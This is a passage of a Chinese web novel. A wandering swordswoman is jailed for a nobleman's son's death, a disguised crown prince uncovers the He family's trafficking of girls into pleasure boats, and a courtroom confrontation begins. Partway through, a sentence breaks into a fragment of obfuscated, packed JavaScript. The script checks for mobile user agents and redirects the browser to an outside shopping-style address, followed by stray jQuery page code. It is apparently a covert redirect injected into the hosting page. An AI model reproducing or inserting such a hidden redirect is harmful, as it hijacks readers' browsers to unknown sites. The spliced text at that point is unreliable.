“呦呵,好大的口气。”一个家丁忍不住嚷嚷道:“我们公子好言相劝,你别给脸不要脸!” 贺元朗抬手止住他,笑了笑:“姑娘怕不是刚来这平东郡,在这儿我的话就是理。” 他扫了一眼谢泠的佩剑轻蔑地说:“你即便剑术再高,还能与官府作对不成?”说着掏了掏耳朵,有些不耐烦地说:“懒得同你们这些江湖人废话,把人交出来,我既往不咎。” “不交又如何?” 那贺元朗笑出声,眼神却变得凶狠,提扇便挥了过来,谢泠侧头躲过,他趁此空隙便要去抓阿青。 “且慢!” 谢泠反应极快,趁那海东青飞至他面前时,抬脚一踹,正中贺元朗胸口。 贺家公子就这般被远远地踹飞出去,身体瘫软倒地。 阿青在身后拍手叫好:“厉害!厉害!” 家丁们皆惊恐向后退去。 谢泠手持长剑:“还不带上你家公子快滚!” 周洄此时却走了上来,瞥了一眼阿青,目光落在那被踹了一脚便躺在地上不省人事的贺元朗,心中有些不安。 他上前蹲下身,伸手一探,转过头看向谢泠,语气凝重: “他死了。” 20.狱中书生 魏冉在狱中已经待了十多日。 他不明白,自己明明已经认了罪,贺恺之却迟迟不处置他,听说督查使大人最近在江州巡查,狱中只要不是犯了死罪的犯人,大多提前刑满释放了。 如今这片牢房只剩他和最西头一个整日喊冤的疯子。 看了眼窗外,约莫快子时了,他躺在茅草堆上刚准备入睡,便听到锁链的声音,又坐了起来。 一个姑娘被推进来,脸上满是无奈:“狱卒大哥,我真是被冤枉的,你见过哪个七尺高的汉子,能被女人一脚踹死的?” 那狱卒将她往魏冉隔壁的牢房一推,冷冷地说:“来这儿的人谁不喊冤,就你冤?我他娘大半夜还得爬起来关你,我不冤?” 谢泠双手叉腰,叹了一口气。 这上哪儿说理去,但又想起被官兵带走前,周洄那句:“放心,我不会丢下你。” 一路上倒也没有太心慌,她那一脚多大力自己知道,根本踹不死人。 就是随便当时的反应有些激烈,罢了,先睡一觉再说。 她一转头,猛地被隔壁牢房静静坐着的人吓了一跳:“你怎么不出声的啊?” 魏冉方才看她一直站在原地嘀嘀咕咕,觉得很有趣,笑着说:“只是看姑娘似是在想事,不忍打扰。” 谢泠见有旁人在,瞬间没了倦意,蹲到围栏边:“诶,你是怎么进来的?” 魏冉眨了眨眼:“和姑娘一样。” 谢泠抬手搓着下巴:“你这人倒是机灵。”说着索性往地上一坐,叹了一口气: “下次就是打死我,我也不乱救人了,那贺家公子人高马大的,怎么会被我一脚踹死!” 魏冉闻言瞪大眼睛,猛地起身走到围栏前,双手握着木栏:“你说,你踹死的是贺家公子?” 谢泠撇撇嘴:“对啊,江州牧的大公子,叫贺什么来着?”她抬头想了想。 “贺元朗。”魏冉却先替他说了出来。 “对对对,你也知道?也是,这平东郡谁不知道他的名号。” 魏冉顺势也坐了下来,两人隔着一道木栏对望:“你,如何与他结怨的?” “还不是因为那个!”谢泠忽然止住话头,眯着眼看他:“我都说了这么多,你怎么不说说你。” 魏冉沉默片刻,缓缓开口:“溪湖巷女尸案,姑娘可有听闻?” 那不就是客栈那些人在议论的案子? 谢泠随即对眼前这个人生出几分厌恶,向后挪了挪:“你为何要害那女子?” 魏冉看着她:“那姑娘又为何害那贺家公子?” 谢泠一拍大腿:“我是被冤枉的!只是,我也不知道真凶是谁。” 魏冉低下头:“我也是被冤枉的。”说着他的声音低了下去:“但我知道凶手是谁。” 谢泠眼睛一亮,又挪回原来位置:“谁啊?” 魏冉静静地看着她:“就是被你杀死的贺元朗。” ...... 淮河岸边,周洄将阿青堵在一边,直直地盯着她:“你如此大费周折,究竟想做什么?” 阿青眨眨眼,一脸无辜:“我不明白相公在说什么。” 周洄只觉气结不能言,深吸一口气,目光又落回到她脸上:“你从第一次见我,不就想让我帮你做什么事吗?” 随便在一旁急得跳脚,指着阿青嚷嚷道:“真的是你陷害的谢泠!”说罢又气鼓鼓地背过身,嘟囔着: “怎么总救一些这种人,气死我了。” 阿青没理会他,抬头看着周洄:“可你当时多冷漠啊,一副拒人以千里之外的模样。” “你是不是觉得谢泠入了狱,我便会被你拿捏?” 周洄轻笑一声,声音清冷:“我若真想带她走,此刻她早已不在牢中。留她在那里,是因为我知道,即便我强行带她出来,你也会去求她,以她那性子,到头来非但会怪我袖手旁观,只怕还要拼上性命去帮你,你想做的事牵扯太广。” 他稍顿了一下开口:“所以我愿意替她接下。” 周洄抬眸,目光落在阿青脸上:“现在可以说你的目的了吗?” 阿青表情有些松动,沉默片刻开口:“我要你去调查溪湖巷女尸案。” …… 回到客栈,周洄刚要歇息,门外响起了敲门声。 他起身拉开门,随便正耷拉着脑袋站在外头。 “有什么事,进来说。” 周洄转身走回榻前坐下,顺手点燃了案几上的熏香。 随便走过来,瞅了一眼那缕袅袅升起的青烟:“在金泉郡的时候也见你点过。” 周洄没有回应,他眼眸低垂,只兀自用木签拨着香灰:“是在担心谢泠?” 随便在对面坐下,点点头,又忍不住问道:“你会救她的吧?” 周洄觉得有些好笑:“我若不救,你打算如何?也拿桃木剑同我比划比划?” 随便垂下头,声音发闷:“你看出来了。” 其实他根本没有把那个人打的落花流水,对方一把就夺了他的桃木剑扔在地上,踹了他一脚不说,还让人架着他,结结实实扇了一耳光。 “为何不告诉她?怕她替你出头?” 随便摇摇头,背不自觉地弓起:“我只是怕她不要我。” 周洄似是没料到少年会如此回答,抬眼看过去时发现他竟在抽泣。 “男子汉大丈夫哭哭啼啼算怎么回事,她不会不要你的。” 随便用力擦擦眼泪,声音哽咽:“我从小就没爹没娘的,跟着大壮他们,也就是混口饭吃。后来遇见谢泠,她说话做事都很随性,我为了气她,还偷过你送她的那枚玉佩。” 周洄一顿,目光落在他脸上。 随便低头继续说着:“她虽然很生气,还狠狠教训了我,可还是愿意在祝府等着,等我自己想明白。我知道她很好,正因为这样,我才不想拖累她,可我总是帮不上忙。” “我爹娘生了我还把我扔了,谢泠与我非亲非故的,万一,万一哪一天她也觉得我实在没用,不要我了可怎么办?” 他越说越急切,身体都在颤抖:“可是学剑又不是一朝一夕的事,我真的在练了......” 说到最后干脆放声大哭起来,哭了好一阵儿才渐渐止住,拿袖子抹抹脸,悄悄抬眼看向榻上闭目养神的周洄,有些委屈:“我都哭成这样了,你也不劝劝我。” 周洄轻轻叹了口气,睁开眼,目光却落到另一侧的窗台上。 “我有个兄长,虽非血亲,却从小在一处长大,他教我剑法,可我实在没那天赋,他便教我如何自保。” “我生在一个衣食不愁的地方,表面风光无限,四下里却都是算计,八岁那年我就被人下了毒。” 周洄目光看向桌上升起的青烟:“只能靠这熏香吊命。” 随便抬头看向他,张张嘴,却也没出声。 “兄长气不过非要查出真凶,结果被一纸调令派去了前线,许多年也不曾回来。” “再后来,娘亲......悬梁自尽,过了五日,才被人发现。” 周洄说到此处时,声音带着颤抖,闭上眼缓了好了一会儿才继续说。 “兄长也因此不再回来,那时我只觉得,自己谁也护不住,什么也留不下,一心求死,却连死都成了不能被满足的奢望。” “......” 他再次闭眼,眼角滑过一滴泪,声音也轻了些许多: “可在我最撑不下去的时候,他还是回来了,只为确认我是否安好,便被困在了一个永不见天日的地方。” 随便看着周洄,这好像还是第一次听他讲这么多话,他看起来比自己还要难过许多。 “那他,还能出来吗?” 周洄转过头:“我活着,就是为了救他出来。” 他忽地笑了笑:“所以,若真觉得自己没用,就去好好练剑,哭除了能让你心里好受些,半点用处都没有。” “我懂了!”随便一下子从椅子上跳下来:“我这就去练剑!” 话音刚落,一个橘子迎面飞来,被他手忙脚乱地接住。 “都什么时辰了。”周洄收回手:“明日我有事交给你做,现在,去睡觉。” 随便哦了一声,抱着橘子转身要走,忽地又转过来小声说: “你那个兄长很难救的话,可以叫上我和谢泠,她肯定会帮你的。” 周洄嘴角一弯:“为什么?” 随便眨眨眼:“因为她很在意你送的玉佩呀。” 见周洄笑得更深,他胆子也大了些,脱口问道: “你是不是喜欢她呀?” 周洄瞥了他一眼:“我剑术不行,用毒倒还凑合。” 随便脖子一缩:“早点睡!”说完一溜烟儿跑了出去。 ...... 第二日一大早,周洄安排好随便后,独自来到了一家药铺前。 铺面悬着的牌匾上写着三个字:和祥斋。 他掀帘进去,笑意盈盈:“何掌柜,许久未见,生意可好?” 那正埋头在柜台算账的何掌柜闻言抬起头,连忙迎了上去:“公子何时到的此地,我竟没收到消息。” 说着又往他身后望了望:“诸微呢?” “他先回京了。” 何掌柜皱眉:“公子此番未免托大,这平东郡如今可是昭亲王的地界。”说罢往外瞥了一眼,便引着他往内间走。 门帘落下,何掌柜转身跪下行礼:“参见太子殿下。” “这儿没外人,不必如此。” 周洄随意在椅中坐下,“如今肯这般唤我的人不多了,你这样倒显得生分。” 何掌柜,本名何晏,字仲言,曾官至太医院院判,因一桩误诊案被流放,是周洄暗中将他保了下来,安置在此地。 何晏起身坐到另一侧,语气随意了些:“我调配的熏香可还够用?” 周洄摇摇头:“正是为此而来。” 何晏起身从壁后药柜中取出几包用油纸仔细封好的药材,置于桌上:“我早已备好,知公子常年在外奔波,瓶罐不便携带,特将药粉分装成小包,前些日子听说您回了金泉郡,本想托人送去,又怕途中错过。” 周洄抬手按了按那分好的药包,点点头:“有劳仲言费心。” 何晏抬眼看向周洄:“公子此番不光是为了药吧,贺家公子之事我也听说了。” “贺恺之当年靠构陷忠良坐上这江州牧之位,这些年,没少靠花船捞油水吧。” 何晏回道:“不止,他们还暗中做些人口买卖的勾当。” 周洄有些诧异道:“溪湖巷那具女尸,不是花船上的歌女?” 何晏见他有所了解,便直接开口:“这些年,我按公子吩咐一直派人留意着贺府,按照本朝律法,花船女子须是贱籍,不得逼良为娼,可天下哪有那么多才貌俱佳又是贱籍的女子?” “所以贺家开始做起了人口买卖。” 何晏倾身向前:“这江州毗邻北俪王朝,每逢战事吃紧,此地赋税便层层加码。百姓活不下去自然有人卖儿卖女,贺府趁机以高价从各地收来被弃的女童,养在暗处,待年纪稍大便送入花船。” 见周洄脸色凝重,他也叹了一口气:“如此,花船才能源源不断地上些新面孔,还贴着贱籍的护身符。” 周洄蹙眉严肃道:“朝廷每半年便会派督查使下各州巡查,此等行径,竟无人察觉?” “且不说这贺恺之借花船之利上下打点,早已织成一张利益网,即便有正直的官员想查,也是寸步难行。” “是贺府从中作梗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122244|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >何晏摇摇头:“公子有所不知,此事最难的并非贺府阻拦。” 他顿了顿,斟酌了下言辞:“那些女子如若没有这花船生意,不是被饿死便是沦为家妓,下场只怕比在船上更不堪,贺府虽强迫她们上船,却也给了一条活路,只要攒够赎金,便可脱离贱籍,获得自由身,因此,若要取缔花船,最先站出来反对的,恐怕反倒是那些女子。” 周洄垂眸:“真是好算计。” 何晏声音低沉:“公子若想通过此事扳倒贺家,应从一个人入手。” “谁。” “花船原主人卫文山,此刻正在牢中。” ...... 平东郡大牢。 “冤枉啊!冤枉啊!” 最西头牢房的哀嚎断断续续响了一夜,谢泠终于忍无可忍,冲到牢门边扯着嗓子喊: “别嚎了!嚎了一夜你不累吗?” 那声音似是顿了下,又开始以更大声喊冤。 谢泠烦闷地踢了一脚地上的茅草,坐回原位看向对面正闭目养神的魏冉: “这你是怎么忍过来的?” 魏冉眼都没睁,淡淡地答道:“心远地自偏。” 谢泠扶额,又是个掉书袋的酸秀才,怪不得能认识游南星。 她抓了抓头发,嘀咕道:“怎么还没人来。” “谢姑娘不是说,你那位厉害朋友一定会救你吗?”魏冉睁眼,静静地看着她。 谢泠起身:“我说你怎么一点要被杀头的自觉都没有?就算你说的是真的,真凶已经死了,如今死无对证,你打算怎么办?” 魏冉垂眸:“我只要知道阿青还活着就够了,至于其他的,从认罪那日起,我便清楚了。” 谢泠闻言垂下眼,又上前一步嚷嚷道:“你以为这样很了不起吗?一心求死算什么男人?若你真的没杀人,我定会想办法救你出去。” 说着声音低了下去:“活着才能再见到想见的人,所以,我不会死,也不会让你死。” 魏冉一怔,望着眼前少女明亮的眼睛,神色有些动容,郑重地点了点头: “好。” ...... 从和祥斋出来时已近晌午,周洄并未直奔约定之处,反而拐进了一条僻静的窄巷。 巷子很深,青石砖缝中滋生出许多青苔,像是许久没人踏足过,走到尽头,是一处荒废的院落。 围墙塌了半截,露出里头杂草丛生的破败庭院,朱漆的大门也早已斑驳。 他在门前停下,静立片刻并未进去,随后撩起衣摆,对着那扇门,缓缓屈膝跪下。 额头碰上那门前的青苔,一声轻响,再起,又落下。 门楣上悬着的匾额斜吊着,上面的金漆早已剥落,只依稀能辨得出是个—— 谢。 ...... 周洄走到与随便他们约好的郑家面铺,刚对老板开口:“来一碗,” 随即瞥到街角跑来的两个身影,笑了笑改口道:“来三碗阳春面。” 待他在木桌旁坐下,那两人也恰好奔到跟前,两人皆是气喘吁吁,身上的衣裳也已湿透,发梢还滴着水。 阿青一只手撑在桌上,另一只手有气无力地指向随便,喘的上气不接下气: “随便,你真是,真是太不中用了。” 随便此时满头大汗,一屁股瘫坐在条凳上,喘了好大一会儿才开口: “谁、谁能想到你一个姑娘家,偏要去偷看人家做那种事!” 周洄单手支着头看了一会儿,不紧不慢地为他俩倒了两碗水。 “不急,慢慢说,那花船想必已被官兵封锁了。” 阿青捧起水碗一饮而尽,早已没有初见时的拘谨: “对,所以我们从旁边小船摸上去的,你料得没错,那花船主人卫武才果然悄悄回船了,只是……” “让我说!让我说!” 随便这会儿也是缓过来了,压低声音抢先说道:“只是他并没有去拿什么账本,反而跟一个女人在鸳鸯房里,做,做那种事!” 阿青没好气地瞪了随便一眼:“都怪随便,没点见识,瞧人家脱个衣裳就直接喊了出来,还好我机灵,拽着他就往河里跳,憋了好久才敢冒头。” 周洄听完,眼眸微动,手指不自觉摩挲着茶碗。 贺元朗一死,花船主人若担心罪证,第一反应本该是去清查账册密件,如今却有闲心寻欢作乐,看来关键在牢里那位。 周洄沉吟片刻开口:“随便,你吃完换身干净衣裳,骑马去二十里外的鸡鸣驿,寻一位叫郭子仪的督查使大人,务必请他明日辰时赶到平东郡县衙。” 随便嘴里满是面条,含糊不清啊了一声:“二十里?我,我没怎么骑过马。” 周洄看着他,语气不容置疑:“上了马背,只管想着目的地往前冲便是。”说着从怀里掏出一枚印章,递到他面前:“见到郭大人,给他看这个,他自会明白。” 随便忙咽下面条,伸手要接,周洄却往回一收,表情是难得的严肃: “这枚印章对我很重要,务必妥善收好,除非面见郭大人,否则绝不可取出示人。” 随便见他如此郑重,连忙在衣摆上擦了擦手才小心接过,握紧点头: “我就是死也会护好它。” 周洄笑了笑:“若真是到了那种境地,还是你的命更重要。” 阿青探头:“这么要紧的事,要不让我去吧,随便看着不太靠谱。” 随便立刻瞪了她一眼,却也没反驳,只是把手中的印章握的更紧了。 周洄转头看向阿青:“你有更重要的事要做。” 阿青抬眼:“什么?” 周洄声音低沉道:“我要你明日一早,去衙门认罪。” “承认是你杀了贺元朗。” 21.公堂惊变 平东郡县衙外,天还没亮,乌泱泱的人群就把门口堵得严严实实。 贺家公子被人踹死的事,在平东郡早已一传十,十传百,尽人皆知。 “哎呦,挤什么挤,鞋都给我挤掉了,老子卯时就来了。” 前排一个车夫踮脚张望半天,转身将手举过头顶,高声喊道: “我这儿,正对大门!青天大老爷的脸都能看清,十文钱谁要!” 旁边立刻有人啐了一口:“呸!花船听曲儿才五文,你小子心也太黑了些。” “这可比花船听曲儿热闹。”另一人搭腔: “死的可是那贺府大公子,听说被个姑娘一脚踹死了!” “啊?那得多大劲......” “嘘,别吵,里面有动静了。” 人声瞬时一静,所有人脖子齐齐伸长。 谢泠被狱卒带上来时,双眼满是疲惫,头发也尽显凌乱。 在狱中这两日,那疯子夜夜哭嚎,她根本无法入睡,又听魏冉讲了许久他和阿青的故事,此时只觉得上下眼皮似是黏在一起,连眨眼的力气都没了。 “啪!”一声惊堂木响。 谢泠瞬间睁开眼,困意全无。 “谢泠,你可知罪?” 一道低沉的声音自头顶压下,谢泠跪在堂前,抬起头。 郡守胡海,端坐正中,身后的墙壁被一幅海日红鹤图铺满,再往上吊着一块匾额,黑底金字写着明镜高悬。 公堂侧首另设了一椅,坐着一位鬓发斑白的老者,身穿紫袍官服,脸上并无任何表情,只一双眼睛沉沉地望过来,谢泠便觉察出一丝威压。 谢泠从那相似的眉眼也能判断出他的身份,应是那贺元朗的父亲,江州牧贺恺之,只是那人脸上看不出半分丧子之痛,尽是漠然。 谢泠摇摇头:“大人审都不审,就要直接定罪吗?” 胡海见她没有毫无惧意,更加恼怒:“你前日在花船之上与贺大公......” 他顿了顿,飞快地扫了贺恺之一眼改口:“与那贺元朗发生争执,情急之下一脚将他踹死,此事在场之人都有看到,你还想抵赖?” 谢泠目光平静:“敢问大人,可曾令仵作验尸?那贺公子当真是死于我那一脚吗?” 胡海轻哼一声:“无凭无据,本官岂会轻断?传仵作崔识。” 一青衫男子快步走进来,行礼后开口:“回大人,下官已细验尸身,死者并无其他外伤,也无中毒痕迹。” 谢泠闻言转头,脸色一沉:“怎么可能?” 胡海看着谢泠:“事实俱在,你与贺元朗本就有旧怨,不过是你借机泄愤,伺机报复。” “我与他并无仇怨,何来报复?”谢泠咬牙道:“当日是他要强抢民女,我不过出手阻拦。” 胡海不再看他,抬手一扬:“传证人胡麻子。” 谢泠蹙眉,正疑惑胡麻子又是谁,却见一个缩着脖子的男人已快步上堂,跪到她身边: “小人胡麻子,拜见郡守大人。” 谢泠认得此人,正是那日小摊的摊主。 “胡麻子,将那晚你所见之事,从实道来。” “是。”那胡麻子抬起头,并未看谢泠:“那晚,这位谢姑娘的家人,在我摊前与贺府家丁发生了争执,那家丁。” 胡麻子说着看了一眼一旁的贺恺之,贺恺之并无理会,淡淡开口:“照实说便是。” 胡麻子继续说道:“那家丁被一个孩子拦住讨要说法,顿时就恼了,便叫人将那孩子抓住,踹了好几脚,还抬手给了一巴掌。” 谢泠猛地回头看向他,握紧拳头,声音有些颤:“你当晚可不是这么说的!” 胡麻子有些心虚地看着她:“当晚我,我怕你动怒,没敢说全,是那孩子挨完打与我商量,让我不要将实情告诉你。” 谢泠闭上眼。 “而且刚才我可厉害了,只用桃木剑就打得那个人落花流水。” “哼,要不是他们人多,指不定谁挨打呢。” 她深吸一口气,胸中滋生的怒意与心疼交织,看向贺恺之的眼神中带着无法掩饰的愤怒。 “这便是你贺家的道理?纵奴行凶还要诬陷他人?” 胡海厉声截断道:“勿要牵扯其他,分明是你怀恨在心,尾随贺元朗至花船,伺机报复!” 说着抬手让胡麻子退下。 “是又如何!”谢泠身体紧绷,压抑的怒火冲破理智: “那种欺压百姓,逼良为娼的纨绔难道不该死吗?贺府纵容家丁,目无律法,便无罪吗?” 胡海面带冷笑,看向一旁的师爷:“记录在案,犯人已供认不讳。” 谢泠只觉得荒谬,一旁的贺恺之却在此时缓缓起身:“府中家奴不肖,是本官管束不严。” 说着看向胡海:“胡大人,我已将那家丁带来,你按律处置便是。” 胡海点点头:“贺府家丁,不尊律法,当街闹事打人,笞五十,罚铜钱三贯。”说完看向谢泠: “你可还有其他要说的?” 谢泠低低笑了,眼中尽是讥讽:“我如今还能说什么。” 她忽然想起魏冉的话,抬眼看向贺恺之: “我只是好奇,贺大人亦有千金,为何在对那些无依无靠的女童时,却没有半分恻隐之心呢?” 贺恺之一笑:“本官并不知你在说什么,胡大人,我看可以结案了吧。” 胡海点点头,正要开口,堂外忽然传来一阵急促的击鼓声。 “何人击鼓!”胡海绕到堂前。 衙役上前:“是一女子前来认罪,自称是她杀了贺家公子。” 谢泠蹙眉扭头,门外人头涌动,并未看到女子身影。 胡海有些为难,见贺恺之并未表示,堂外围观者都在张望,便将那女子传至堂前。 阿青缓缓走入,先对着谢泠笑了笑,目光扫过贺恺之,最终落到胡海身上,屈膝跪下: “民女阿青,前来认罪。” 贺恺之在听到阿青名字后,打量了一番眼前的少女,又默默将目光收了回去。 “啪!” 胡海再拍惊堂木,大声喝道:“此案已结,你可是来替人顶罪?” 阿青抬起头,眼神清亮:“贺元朗确是我所杀,那仵作若是验尸便知,他并非外伤致死而是中毒。” 崔仵作快步上前:“我亲自验过,他并未有中毒迹象。” 阿青歪头看着他:“你剖开他腹部查验了吗?” 那崔仵作低头:“若非冤情,当留全尸,此案证据确凿,岂能轻易剖验?” 阿青嗤笑一声:“是不敢吧?”随即看向胡海: “大人,那贺元朗早已被民女种下一种叫青丝缠的毒,此毒发作需一炷香时间,我算好时辰,将他引至谢姑娘面前,诱她出手,并栽赃于她。” 谢泠抬眼看她,魏冉当真喜欢这样的人吗? “一派胡言!那你又为何杀那贺元朗!” 阿青面露微笑,手心却已出汗: “这正是民女方才击鼓的缘由,今日我不止认罪,还要状告一人。” “谁?”胡海忽觉手中的惊堂木有些沉,抓得更紧。 “告那已死的贺元朗。” 堂外一阵哗然。 “啪!” 惊堂木再次落下,胡海伸手指向阿青:“杀人还要状告死者!简直荒谬!” 贺恺之此时却已起身:“胡大人,此案既有疑点,不妨押后再审,先将这二人关入牢中。” 他斜眼瞥过地上的这两个女人,眼中寒意渐露。 “老东西!”阿青咬牙切齿骂道:“又想杀人灭口么!” 说着看向胡海:“大人,何不先听民女把话讲完?” “胡大人!”贺恺之的声音沉了几分。 胡海擦了擦额头的汗,手中的惊堂木攥得更紧。 若是被关进牢里,一切都完了,阿青咬紧下嘴唇,这随便怎么还不来。 贺恺之眼神更冷。 胡海只得开口:“既如此,便依——” “胡大人如此为难,不妨把案子交给本官。” 一道清朗的声音自门口响起,众人皆回头望去。 只见一位身着紫袍官服的中年男子与一少年正大步踏来。 谢泠眼神一亮:“随便!” 随便看见谢泠连忙跑过来,蹲下急声道:“谢泠,你没事吧?” 谢泠望着少年的脸,脸颊上的掌印还未褪去,嘴唇干裂渗血,一头乱发更显得有些狼狈,即便如此在见到她时,眼神还是倏地亮了起来。 “随便,你再晚来一会儿黄花菜都凉了。”阿青小声道。 谢泠虽不知实情却也能猜个大概,伸手揉了揉少年乱糟糟的头发,话却是对阿青说的: “他已经做得很好了。”又轻声补了一句:“很好了。” 郭子仪在旁赞叹道:“这位少年属实不易,孤身骑马二十里,一刻未曾停歇,到驿站时直接从马背上摔了下来,幸好我当时就在门外,这般坚韧心志,实在少见。” 随便被夸得有些害羞,抬手摸了摸脖子,嘴角忍不住向上翘。 谢泠笑了笑,眼中却带着泪,抬手轻轻捶了下他的肩膀:“就会逞强。” 贺恺之将这些尽收眼底,整了整衣袖,上前拱手行礼:“郭大人。” 按品阶他比郭子仪还高上一级,可如今对方还顶着督查使的帽子,不得不客气些。 胡海也慌忙跟着行礼。 郭子仪回礼后,看向随便:“我既已到,你先回去歇着吧。” 随便点点头,看了谢泠一眼,转身往衙门外跑去。 门外长街拐角处,一道身影早已静立等候,见他跑过来,周洄唇角扬起,抬手竖起大拇指。 随便在他面前站定,从怀里掏出那枚印章,双手递到他面前,咧着嘴笑道:“不辱使命!” 忽觉鼻间一阵凉意,他抬手擦了擦,还未看清手上的血迹,便失去了意识。 ...... 和祥斋。 何晏拧了拧沾水的手帕,擦去随便脸上的灰尘,叹了口气:“这孩子也是受罪,昼夜未歇,马不停蹄往返四十里路,怕是连口水都没顾得上喝。” 他起身将帕子放回盆中,看向周洄:“更别说这秋日风烈,情急之下,心神激荡,自然会晕倒。” 周洄坐到榻前,轻轻将他额前的发丝捋到耳后: “还是给他开些风寒的药吧,他昨日还在水里泡了会儿。” 何晏闻言看向双眼紧闭,呼吸已平缓的少年,点点头:“我让药童先煎上,待他醒了再服。” 周洄抬手将被角压好问道:“县衙那边如何?” 何晏回道:“派人盯着呢,一有消息——”没说完便听到门口有动静,忙出门查看,见是自己的小厮便招手让他进了内室。 “掌柜的,谢女侠已经出来了,只是不得出城,须随时听传。我请她过来,她说怕有人尾随,让我带话红烛桥见。” 何晏抬眼看向周洄。 周洄问道:“她可有受伤?”不等回答他便起身:“我自己去吧。”转身对何晏交代几句,便大步往外走去。 ...... 此时已是午后,红烛桥上,行人寥寥无几。 谢泠摸着剑柄,明明尚有嫌疑,郭大人却放了她,甚至连佩剑也一并归还。 即便她再不愿去想也隐约能猜到周洄的身份非同一般,只是眼下她也无心深究。 肩头忽地一沉,且慢不知从何处飞来,谢泠伸手轻挠它的下巴,它却展翅飞走了。 谢泠转过身。 一道身影立在桥下,两人遥遥相望。 她似是想到些什么,快步走过去,在他面前伸出手: “说好的黄金五十两,一文也不能少。” 周洄笑道:“我可没有多余的玉佩再送你了。” 谢泠也咧嘴笑了起来,转头望向这座木桥:“你知道它为什么叫红烛桥吗?” 周洄目光在她身上扫过一遍,见没什么外伤才顺着看过去: “看来小谢女侠,在狱中听了不少故事。” ...... 那年灯会,魏冉第一次遇见阿青。 当时她戴着面纱,与他挑中了同一盏灯笼。 阿青先松开了手,一脸歉意,声音温和:“公子先请。” 魏冉虽自小在这平东郡长大,却一次也没登上过淮河上的花船,自然也没见过这么好看的女子。 两人相谈甚欢,魏冉发现,她虽是个女子,谈吐间却颇有些书卷气,想必是哪家的小姐,以假名出来游玩 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若是知道了是哪家的小姐,他便能早去做准备,到时候上门提亲,定个良辰吉日......啊,提亲好像太着急了些,还没问过阿青姑娘的想法,应当先让媒人相看八字,若是八字不合,他摇摇头,怎么会不合呢? 真若不合,他就再换个媒婆。 魏冉此时思绪已经飘远,丝毫没注意到面前的女子早已泪流满面。 只听得她说了一句: “我就叫阿青。” 秋闱放榜之日,魏冉并没有找到自己的名字,阿青也不再出现。 一同落榜的游南星拉他去花船消愁,他不愿,却听得对方说道: “花船的阿青姑娘,琴弹得极好,你真该去听听。” 他踏入那人声喧嚷的莲花厅,看到那熟悉的身影在台中弹琴唱歌,借着酒意冲了过去,却被人拦下,扔下了船。 游南星劝他:“不过一个歌女,何必耿耿于怀。” 魏冉并未理会,他给阿青写了一封信,告诉她,自己并不在意阿青是花船歌女还是世家小姐,他心中所念只有一人,就是在灯会上,在杨柳巷口,与他谈天说地的阿青。 天上人间,他只认得一个阿青,也只喜欢一个阿青。 信的最后,他告诉她:“请阿青姑娘务必等我,下次秋闱,我定会全力以赴,为你赎身。” 那月十五,他再次来到红烛桥,等了许久,也未见那个身影。 他垂头转身走下桥,却在杨柳巷口看到了那个戴面纱的女子。 四目相对,她眼中盛满泪光,却带着笑。 魏冉快步上前,一把将她拥入怀中,她也伸手回抱住他。 红烛桥下,杨柳巷口,有情人终得重逢。 ...... 第二次秋闱,游南星被人以考题为饵骗光了银子。 魏冉曾提醒过他此事有蹊跷,可他并未在意,如今只能愤愤不平。 “那人虽刻意乔装,可靴子却没换,我认得,那是贺府的样式。” 虽不知游南星哪来的银子,但念及他之前曾借钱给自己买书,还是决定夜里陪他去贺府探个究竟。 两人趁夜深翻进贺府后院,偷听到几名下人正在分赃。 原来所谓卖考题是个圈套,由贺府家丁故意散播消息,再引官府抓人。 游南星低声咒骂,魏冉却觉此事只能认栽,毕竟买卖考题都是重罪。 游南星也不敢在此生事,便拉着魏冉离开。 二人溜至偏院时,忽闻房中传来女子尖叫,魏冉听出是阿青的声音,转身就要冲过去,却被游南星死死拽住:“你疯了!” 两人躲到树下,游南星眯眼:“莫不是那女人爬上了贺大公子的床?” 魏冉瞪他:“你再胡说,我现在就拖着你从正门进去。” 游南星讪讪收了声。 魏冉故意弄出声响,屋内走出一个男人。 魏冉顺手抄起拿了墙角的一根木棍,悄步上前将他击晕,游南星忙帮着将人拖进屋内,反手掩上门。 阿青见到来人是魏冉,连忙扑到他怀里。 问后才知,这贺府才是花船真正主人。 今日贺府二小姐生辰,她们一群乐伎被唤来助兴,现如今所有人都在前院喝酒庆祝。 她是被一个醉醺醺的管事硬拽到此屋。 魏冉皱眉:“贺大人向来名声清正,怎会纵容下人如此?” 阿青难得语气重了些:“他这州牧之位本就是卖主求荣得来的。”游南星有些不耐烦:别说了,快走吧,一会来人了。” 三人向外跑去,却路过一个大门紧锁的庭院。 阿青拉住了魏冉:“我听说贺府还在后院养了不少各地买来的女童,等到一定年纪便送去船上接客。” 游南星已爬上墙头:“哎呀,走吧,再不走真来不及了。” 魏冉和阿青对视了一眼,将她推向墙边:“你先走。” 说完四下寻找,在一旁的角落捡到一把砍柴的斧子,转身便向那大门锁链劈去。 游南星咬牙低骂一句,自己跳下墙跑了。 庭院内的人似乎是听到动静,都纷纷向门口跑去。 “有人,有人来救我们了。” 门锁应声而断,许多衣衫褴褛的女童跌跌撞撞地跑了出来。 魏冉与阿青连忙让他们从墙头走,可人群早已慌作一片,只知向着光亮处盲目前冲。 一个少女在他身旁绊倒,魏冉一把将她扶起:“快!往墙上走!” 那少女抬眼看他:“多谢,我叫小秀儿。” 此时家丁已经涌了上来,不由分说拿起棍子便朝那些少女腿上抡去,哀嚎声四起。 人群被逼得不断倒退,最后缩成一团。 魏冉将他们护在身后,一手紧紧握着阿青,与那贺元朗对视。 他的身体在颤抖,眼神却很坚定,不肯退却半步。 家丁上来禀报:“打死了一个,还有个手脚麻利的跑了。” 贺元朗一笑:“敢闯我贺府,胆子不小啊。” ...... 周洄听到此处却觉得哪里有些不对劲。 谢泠歪头看着他:“怎么了?” 周洄道:“我总觉得,你所说的这个阿青和我们遇到的阿青,不像一个人。” 22.谢泠重伤 谢泠眯起眼: “你这么说我也有些纳闷,方才郭大人要将阿青暂时收监,她却死活不愿意,说有人会害她。” 周洄垂眸:“此事先不深究,你在牢中可有看到其他人?” 